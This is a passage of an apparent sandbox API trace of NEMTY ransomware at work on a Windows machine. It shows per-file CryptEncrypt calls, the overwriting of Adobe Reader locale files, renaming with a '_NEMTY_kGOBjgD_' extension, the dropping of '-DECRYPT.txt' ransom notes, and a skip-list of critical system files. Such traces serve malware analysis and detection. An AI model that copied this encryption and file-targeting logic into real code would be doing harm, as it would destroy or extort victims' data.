pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0185.123] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0185.124] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0185.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0185.124] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="DVGe73QjjqIj1ezPQSYzO0BtqvjIp6xb1jsTj9ns7x5OV+kUFuH0FvE5L9c1pztL\r\nkhMEQTHWyJZbYnzH/lCmP0ofeNf1hasuERi0rU2OxWDuIXvVYWsXDwdF9cK5lJr5\r\nimZGu1prgDl+jFPmOB8vfWHMMs5K8jeJiEcQ29QO6vVXTC7iCYc4lefQHkiNqaZ0\r\nEJVFvCyNKa+BCa68mlR+Xz+jJTEQ/IL1g/hAyyYh211/GwxdvIv2lqyQZDMipkLL\r\nDFhN4xQLAqpDCjUg5FOd4/7qbvmuDsBzw4VA00Im6Itxz4z6qDMyB15LfNBiW1AO\r\nXa6VzOTVlNiUyJDPYJdZrA==\r\n", pcchString=0x653e5dc) returned 1 [0185.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0185.124] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.124] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0185.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0185.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0185.124] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\SendMail.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\sendmail.tur"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0185.124] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=15360) returned 1 [0185.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x3c00) returned 0x6352c48 [0185.124] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.124] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x3c00, lpOverlapped=0x0) returned 1 [0185.127] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.127] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x3c00, lpOverlapped=0x0) returned 1 [0185.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0185.127] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=15360, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3c00 [0185.127] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0185.127] CloseHandle (hObject=0x2e8) returned 1 [0185.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0185.127] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.127] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0185.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0185.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0185.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.127] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\SendMail.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\sendmail.tur"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\SendMail.TUR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\sendmail.tur._nemty_kgobjgd_")) returned 1 [0185.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0185.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0185.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0185.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0185.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0185.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.128] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Services", cAlternateFileName="")) returned 1 [0185.128] lstrcmpiW (lpString1="Services", lpString2=".") returned 1 [0185.128] lstrcmpiW (lpString1="Services", lpString2="..") returned 1 [0185.128] lstrcmpiW (lpString1="Services", lpString2="...") returned 1 [0185.128] lstrcmpiW (lpString1="Services", lpString2="windows") returned -1 [0185.128] lstrcmpiW (lpString1="Services", lpString2="$RECYCLE.BIN") returned 1 [0185.128] lstrcmpiW (lpString1="Services", lpString2="rsa") returned 1 [0185.128] lstrcmpiW (lpString1="Services", lpString2="NTDETECT.COM") returned 1 [0185.128] lstrcmpiW (lpString1="Services", lpString2="ntldr") returned 1 [0185.128] lstrcmpiW (lpString1="Services", lpString2="MSDOS.SYS") returned 1 [0185.128] lstrcmpiW (lpString1="Services", lpString2="IO.SYS") returned 1 [0185.128] lstrcmpiW (lpString1="Services", lpString2="boot.ini") returned 1 [0185.128] lstrcmpiW (lpString1="Services", lpString2="boot.ini") returned 1 [0185.128] lstrcmpiW (lpString1="Services", lpString2="AUTOEXEC.BAT") returned 1 [0185.129] lstrcmpiW (lpString1="Services", lpString2="ntuser.dat") returned 1 [0185.129] lstrcmpiW (lpString1="Services", lpString2="desktop.ini") returned 1 [0185.129] lstrcmpiW (lpString1="Services", lpString2="CONFIG.SYS") returned 1 [0185.129] lstrcmpiW (lpString1="Services", lpString2="RECYCLER") returned 1 [0185.129] lstrcmpiW (lpString1="Services", lpString2="BOOTSECT.BAK") returned 1 [0185.129] lstrcmpiW (lpString1="Services", lpString2="bootmgr") returned 1 [0185.129] lstrcmpiW (lpString1="Services", lpString2="programdata") returned 1 [0185.129] lstrcmpiW (lpString1="Services", lpString2="appdata") returned 1 [0185.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.129] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0185.129] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services", lpUsedDefaultChar=0x0) returned 8 [0185.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.129] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0185.129] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services", lpUsedDefaultChar=0x0) returned 8 [0185.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0185.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0185.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0185.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0185.129] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.129] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0185.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0185.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0185.129] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Services\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\services\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0185.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.132] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.132] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0185.133] CloseHandle (hObject=0x2e8) returned 1 [0185.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0185.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0185.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0185.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0185.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0185.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0185.133] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.133] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0185.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0185.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0185.133] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Services\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\services\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0185.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.134] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.134] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0185.135] CloseHandle (hObject=0x2e8) returned 1 [0185.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0185.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0185.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0185.135] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Services\\*.*", lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x21fd21d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x21fd21d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423af0 [0185.135] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0185.135] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x21fd21d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x21fd21d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0185.135] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0185.135] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0185.135] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9270, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0185.135] lstrcmpiW (lpString1="DEXShare.asfx", lpString2=".") returned 1 [0185.135] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="..") returned 1 [0185.135] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="...") returned 1 [0185.135] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="windows") returned -1 [0185.135] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="$RECYCLE.BIN") returned 1 [0185.135] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="rsa") returned -1 [0185.135] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="NTDETECT.COM") returned -1 [0185.136] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="ntldr") returned -1 [0185.136] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="MSDOS.SYS") returned -1 [0185.136] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="IO.SYS") returned -1 [0185.136] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="boot.ini") returned 1 [0185.136] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="boot.ini") returned 1 [0185.136] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="AUTOEXEC.BAT") returned 1 [0185.136] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="ntuser.dat") returned -1 [0185.136] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="desktop.ini") returned 1 [0185.136] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="CONFIG.SYS") returned 1 [0185.136] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="RECYCLER") returned -1 [0185.136] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="BOOTSECT.BAK") returned 1 [0185.136] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="bootmgr") returned 1 [0185.136] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="programdata") returned -1 [0185.136] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="appdata") returned 1 [0185.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0185.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0185.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0185.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0185.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0185.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0185.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0185.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0185.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0185.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0185.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0185.136] Sleep (dwMilliseconds=0x5) [0185.139] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x21ff8330, dwHighDateTime=0x1d561e8)) [0185.139] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x21ff8330, dwHighDateTime=0x1d561e8)) [0185.139] GetLastError () returned 0xb7 [0185.139] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.139] GetLastError () returned 0xb7 [0185.139] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.139] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.139] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0185.139] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0185.139] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0185.139] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0185.139] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e29c | out: pszString="nCEoAtmTgjqTdYif7uz6LC1o650jIXOxI1JZ7/G1Whw5spNwoFMNUEV05e2Ph6ob\r\nGMDwPo2Ce9y8pj+zefXrRpkYyUyqFA/iw/jVQu4qVAC/vi0GWEyTKH4EZnG+ckUB\r\nxxVtMoICJGTWlhVT8Lxh60IKSgxF4l/MlMlfFx2OPa6RAjef4TlqOqhSgks+v2DP\r\n8RHK9FGjRY3t15g+2JF1nrpEkCkzJS53+yuAytGAP2Q/gR4gHZwuj3hLxMQ6sIey\r\nRZKh59Dry975BQiJGzJaUm7fj6fn4Wgsm8icR8bkaQA9sCEmtJCh0cTZIyizP0jX\r\nG+OdEMbSnKekCFWuRXHLIA==\r\n", pcchString=0x653e29c) returned 1 [0185.139] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0185.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0185.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.139] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, 